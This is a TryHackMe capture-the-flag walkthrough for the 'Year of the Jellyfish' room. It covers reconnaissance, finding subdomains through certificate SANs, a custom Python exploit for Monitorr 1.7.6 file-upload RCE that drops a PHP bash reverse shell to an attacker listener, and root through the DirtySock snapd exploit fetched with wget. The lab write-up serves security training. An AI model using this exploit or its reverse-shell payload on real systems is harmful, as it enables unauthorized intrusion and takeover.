Year of the Jellyfish is a hard-difficulty TryHackMe room that demonstrates a realistic attack chain from reconnaissance through root access. The challenge involves analyzing SSL certificates to discover hidden virtual hosts, developing a custom exploit for Monitorr v1.7.6's unauthenticated file upload vulnerability (after public exploits failed), and escalating privileges using the DirtySock snapd local privilege escalation.
Key Techniques:
I started with a full port scan to map the attack surface:
nmap -p- --min-rate 1000 --max-retries 2 -Pn -v <TARGET_IP>
Open Ports:
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
443/tcp open https
8000/tcp open http-alt
22222/tcp open easyengine
nmap -p21,22,80,443,8000,22222 -A -T4 <TARGET_IP>
Key Service Versions:
21/tcp - vsftpd 3.0.3
22/tcp - OpenSSH 5.9p1 (Debian)
80/tcp - Apache 2.4.29 (Ubuntu) → Redirects to https://robyns-petshop.thm/
443/tcp - Apache 2.4.29 with SSL
8000/tcp - HTTP (Under Development)
22222/tcp - OpenSSH 7.6p1 (Ubuntu)
The TLS certificate on port 443 revealed crucial information through its Subject Alternative Names (SANs):
DNS: robyns-petshop.thm
DNS: monitorr.robyns-petshop.thm
DNS: beta.robyns-petshop.thm
DNS: dev.robyns-petshop.thm
Learning Point: Always inspect SSL certificates during enumeration. SANs can reveal internal subdomains and virtual hosts that aren't discoverable through traditional subdomain brute-forcing.
Added all discovered hostnames to /etc/hosts:
<TARGET_IP> robyns-petshop.thm monitorr.robyns-petshop.thm beta.robyns-petshop.thm dev.robyns-petshop.thm
The subdomain monitorr.robyns-petshop.thm was running Monitorr v1.7.6, which is vulnerable to:
Unauthenticated Remote Code Execution via file upload.
The available exploit scripts failed due to several issues:
isHuman=1)To achieve reliable exploitation, I developed a custom Python script addressing all the shortcomings of public exploits:
#!/usr/bin/python3
import requests
import sys
import random
import string
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if len(sys.argv) != 4:
print(f"Usage: python3 {sys.argv[0]} <target_url> <lhost> <lport>")
sys.exit(1)
target = sys.argv[1].rstrip("/")
lhost = sys.argv[2]
lport = sys.argv[3]
# Generate random filename to bypass detection
filename = ''.join(random.choice(string.ascii_lowercase) for _ in range(random.randint(6,10)))
session = requests.Session()
print("[+] Getting cookie...")
session.get(target, verify=False)
print(f"[+] Using filename: {filename}.gif.phtml")
upload_url = f"{target}/assets/php/upload.php"
headers = {
"User-Agent": "Mozilla/5.0",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "multipart/form-data; boundary=---------------------------31046105003900160576454225745",
"Origin": target,
"Referer": target
}
# Payload with GIF89a magic bytes to bypass file type checks
payload = f"""-----------------------------31046105003900160576454225745
Content-Disposition: form-data; name="fileToUpload"; filename="{filename}.gif.phtml"
Content-Type: image/gif
GIF89a;
<?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"); ?>
-----------------------------31046105003900160576454225745--
"""
print("[+] Uploading payload...")
r = session.post(upload_url, headers=headers, data=payload, verify=False)
print("[DEBUG] Upload response:")
print(r.text)
if "not uploaded" in r.text.lower():
print("[-] Upload failed")
sys.exit(1)
# Trigger execution
shell_url = f"{target}/assets/data/usrimg/{filename}.gif.phtml"
print(f"[+] Triggering shell at: {shell_url}")
try:
session.get(shell_url, verify=False, timeout=5)
except:
pass
print("[+] If everything worked, you should have a shell!")
1. Start a listener:
sudo nc -lnvp 443
2. Run the exploit:
python3 exploit.py https://monitorr.robyns-petshop.thm <ATTACKER_IP> 443
The exploit successfully delivered a reverse shell:
uid=33(www-data)
After gaining initial access as www-data, I found the first flag in the web root:
ls -la /var/www/
cat /var/www/flag1.txt
User Flag: THM{REDACTED}
The system was running a vulnerable version of snapd, making it susceptible to:
DirtySock – A snapd local privilege escalation vulnerability that allows creation of a new user with sudo privileges via the snapd API.
cd /tmp
wget https://raw.githubusercontent.com/initstring/dirty_sock/master/dirty_sockv2.py
python3 dirty_sockv2.py
New credentials created:
username: dirty_sock
password: dirty_sock
Attempting to switch users resulted in a TTY error:
su: must be run from a terminal
sudo: no tty present
A proper TTY was spawned using Python:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Learning Point: Many privilege escalation techniques require a proper TTY. Always stabilize your shell before attempting
suorsudo.
su dirty_sock
# Password: dirty_sock
sudo cat /root/root.txt
Root Flag: THM{REDACTED}
SSL Certificate Enumeration: TLS certificates, especially SANs, can reveal hidden subdomains and virtual hosts. Always run nmap SSL scripts or manually inspect certificates.
Custom Exploit Development: When public exploits fail, understanding why they fail and writing custom scripts is an essential skill. Issues like session handling, multipart formatting, and detection bypass require manual attention.
DirtySock (snapd): The DirtySock vulnerability is a powerful local privilege escalation that exploits the snapd API. Always check snap version during enumeration.
TTY Stabilization: Restricted shells often lack a proper TTY, breaking tools like su and sudo. Python's pty.spawn() is the most reliable quick fix.
Happy Hacking!